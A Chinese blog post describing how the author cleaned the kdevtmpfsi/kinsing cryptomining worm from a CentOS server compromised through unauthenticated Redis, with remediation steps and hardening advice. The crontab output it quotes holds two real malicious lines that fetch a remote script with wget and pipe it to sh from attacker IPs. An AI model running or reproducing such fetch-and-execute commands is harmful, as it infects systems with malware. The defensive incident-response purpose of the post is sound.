当前位置:首页 > linux > 正文内容

kdevtmpfsi 处理(挖矿病毒清除)

关中浪子6个月前 (02-09)linux504
【腾讯云】2核2G4M云服务器新老同享99元/年,续费同价

问题描述:

Linux Centos 7 环境下的一台服务器CPU直接被打满,上服务器 top 命令看到了一个未知的 kdevtmpfsi 疯狂占用中,情况如下图:

网上搜索了一下 kdevtmpfsi 是一个挖矿病毒,大多数都是 redis 程序侵入,而且受害者还不少,通常比较明显就是 占用高额的CPU、内存资源。


问题原因:

阿里云公布的威胁快报:https://yq.aliyun.com/articles/741602

Redis RCE导致h2Miner蠕虫病毒,其利用Redis未授权或弱口令作为入口,使用主从同步的方式从恶意服务器上同步恶意module,之后在目标机器上加载此恶意module并执行恶意指令。在以往常见的攻击者或蠕虫中,其大多都沿用登陆redis后写入定时任务或写ssh key的方式进行入侵,这种方式受权限与系统类型影响并不一定能够成功。而此次使用redis加载module的攻击方式,可以直接执行任意指令或拿到shell交互环境,危害极大。


问题解决:

第一步cd 命令切换到自己 Redis 的安装目录下,然后删除该目录下的 red2.so 文件以及以 kinsing 开头的所有文件。


第二步crontab -l 命令先看看 crontab 的定时任务列表

[root@VM-0-9-centos /]# crontab -l* * * * * wget -q -O - http://91.241.20.134/scg.sh | sh > /dev/null 2>&1* * * * * wget -q -O - http://185.191.32.198/scg.sh | sh > /dev/null 2>&1

因为我这台服务器根本没设置过 crontab 定时任务,而且这是两个国外(伊朗,俄罗斯)的陌生IP,所以可以断定这就是罪魁祸首。


第三步crontab -e 命令进行定时任务编辑(该步骤很重要),去除陌生的定时任务(要求在root用户下),在打开的文本中,按 i 进行编辑删除,编辑完后按Esc退出键退出编辑,再输入 :wq 强制性写入文件并退出。

[root@VM-0-9-centos /]# crontab -e


第四步ps -ef|grep kdevtmpfsi  命令查看 kdevtmpfsi 的进程,并且使用 kill -9 PID 杀死kdevtmpfsi 对应的进程

[root@VM-0-9-centos /]#  ps -ef |grep kdevtmpfsiroot     40422     1 99 10:16 ?        01:01:16 /tmp/kdevtmpfsiroot     60879 60813  0 10:24 pts/4    00:00:00 grep --color=auto kdevtmpfsi[root@VM-0-9-centos /]#[root@VM-0-9-centos /]#  kill -9 40422[root@VM-0-9-centos /]#


第五步ps -ef|grep kinsing  命令查看kdevtmpfsi程序的守护进程kinsing  ,并且使用 kill -9 PID 杀死对应的进程

[root@VM-0-9-centos /]#  ps -ef |grep kinsingroot     38560     1  0 10:15 ?        00:00:01 /var/tmp/kinsingroot     62455 60813  0 10:26 pts/4    00:00:00 grep --color=auto kinsing[root@VM-0-9-centos /]#[root@VM-0-9-centos /]#  kill -9 38560[root@VM-0-9-centos /]#


第六步find / -iname kdevtmpfsi 命令再次确定kdevtmpfsi文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序

[root@VM-0-9-centos /]# find / -iname kdevtmpfsi/tmp/kdevtmpfsi[root@VM-0-9-centos /]# rm -rf /tmp/kdevtmpfsi[root@VM-0-9-centos /]#


第七步find / -iname kinsing 命令再次确定 kinsing 文件所在位置以便删除,使用 rm -rf 所在位置 删除 kdevtmpfsi 程序

[root@VM-0-9-centos /]# find / -iname kinsing/var/tmp/kinsing[root@VM-0-9-centos /]# rm -rf /var/tmp/kinsing或者像第一步一样(删除kinsing开头全部相关文件)[root@VM-0-9-centos /]# find / -name "kinsing*" | xargs rm -rf

   

 第八步cat ~/.ssh/authorized_keys 查看是否有陌生的的公钥,有则删除掉,



问题防护

  • 把异常的IP地址,入站及出站全部封禁

  • 不定期更新 Redis 服务密码,禁止使用默认端口,非必要不暴露在公网或绑定指定IP

  • 启用ssh公钥登陆,禁用密码登陆。

  • 完善安全策略,入口流量,非必要一般只开放 80 443 端口就行,出口流量默认可以不限制,如果有需要根据需求来限制。

  • 防火墙能用的尽量用起来,有条件可以上付费的。


经过几天的观察,服务器运行正常。


找梯子最重要的就是稳定,这个已经上线三年了,一直稳定没有被封过,赶紧下载备用吧!

扫描二维码推送至手机访问。

版权声明:本文由码农翻生发布,如需转载请注明出处。

本文链接:https://lubojian.cn/post/263.html

分享给朋友:
返回列表

上一篇:Linux Ubuntu apt-get安装docker

没有最新的文章了...

相关文章

yum与apt的区别

一般来说著名的 Linux 系统基本上分两大类:RedHat 系列:Redhat、Centos、Fedora 等Debian 系列:Debian、Ubuntu 等对比项rpmyumdpkgapt系列RedHat系RedHat系Debian系...

linux中的apt是什么

linux中的apt是一款安装包管理工具,它是一个客户/服务器系统。如果我们要利用apt安装软件,可以执行【sudo apt-get install packagename】。apt简介Advanced Packaging Tool(apt...

用apt方式安装MySQL

如无意外,这样安装完就是没问题可以直接使用的:sudo apt update,首先更新一下软件列表,5.7只是我安装的时候库里最新版本,具体直接按tab键即可sudo apt install mysql-client-core-5.7,物理...

linux安装mysql

安装MySQL要安装 MySQL,可以在终端提示符后运行下列命令:sudo apt-get install mysql-server mysql-client #中途会让你输入一次root用户密码sudo apt-get install p...

linux下用apt-get安装Redis

linux下用apt-get安装Redis

在Ubuntu上安装redis有2种方式,第一种是下载安装包,第二种是Ubuntu在线安装这里讲的是第二种1、首先 更新apt-get update    2、apt-get install...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。